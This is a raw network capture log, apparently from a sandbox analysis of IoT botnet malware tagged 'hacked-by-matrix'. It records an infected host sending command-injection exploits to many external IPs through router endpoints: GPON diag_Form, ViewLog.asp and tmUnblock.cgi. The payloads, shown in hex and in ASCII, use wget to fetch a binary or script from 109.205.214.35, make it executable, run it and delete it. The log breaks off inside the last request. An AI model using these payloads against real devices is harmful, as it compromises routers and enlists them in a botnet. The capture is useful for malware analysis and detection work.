Mar 21, 2024 05:18:34.939440966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1187	192.168.2.13	39216	2.41.10.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:34.939471960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1188	192.168.2.13	49902	212.36.63.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:34.939510107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1189	192.168.2.13	40468	200.88.150.79	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:35.473440886 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:35.634829998 CET	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Content-Language:en Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Mar 21, 2024 05:18:35.635382891 CET	1286	IN	Data Raw: 64 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d37<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 21, 2024 05:18:35.635440111 CET	1286	IN	Data Raw: 29 20 3d 3d 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 Data Ascii: ) == ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUsh
Mar 21, 2024 05:18:35.635507107 CET	859	IN	Data Raw: 65 6c 73 65 0d 0a 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 Data Ascii: else{var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort

Session ID	Source IP	Source Port	Destination IP	Destination Port
1190	192.168.2.13	33366	200.29.102.102	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:35.474394083 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:35.644763947 CET	388	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Mar 2024 23:15:40 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1191	192.168.2.13	55440	213.243.35.222	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:35.687158108 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1192	192.168.2.13	38830	200.225.41.189	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:35.729866982 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1193	192.168.2.13	53362	80.189.222.138	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:35.733138084 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:35.914963007 CET	317	IN	HTTP/1.1 404 Not Found Server: openresty Date: Thu, 21 Mar 2024 04:18:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 f9 05 a9 79 45 a9 c5 25 95 c8 f2 fa 30 13 f5 a1 ae 01 00 74 63 0c ac 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f(HML),I310Q/Qp/K&T$dCAfAyyE%0tc0
Mar 21, 2024 05:18:35.916925907 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Thu, 21 Mar 2024 04:18:35 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 21, 2024 05:18:36.281780958 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Thu, 21 Mar 2024 04:18:35 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1194	192.168.2.13	39460	206.119.25.21	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:35.768897057 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:36.068686008 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:18:35 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:18:36.068744898 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:35 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1195	192.168.2.13	42154	86.98.60.4	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.030071020 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:36.319911957 CET	1069	IN	HTTP/1.1 302 Found Date: Thu, 21 Mar 2024 04:18:36 GMT X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Location: https://127.0.0.1:443/cgi-bin/ViewLog.asp Content-Length: 225 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 33 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 33 36 20 47 4d 54 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://127.0.0.1:443/cgi-bin/ViewLog.asp">here</a>.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:36 GMTX-Frame-Options: SAMEORIGINContent-Security-Policy: frame-ancestors 'self'X-XSS-Protection: 1; mode=blockContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1196	192.168.2.13	52376	172.65.241.16	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.123929024 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: 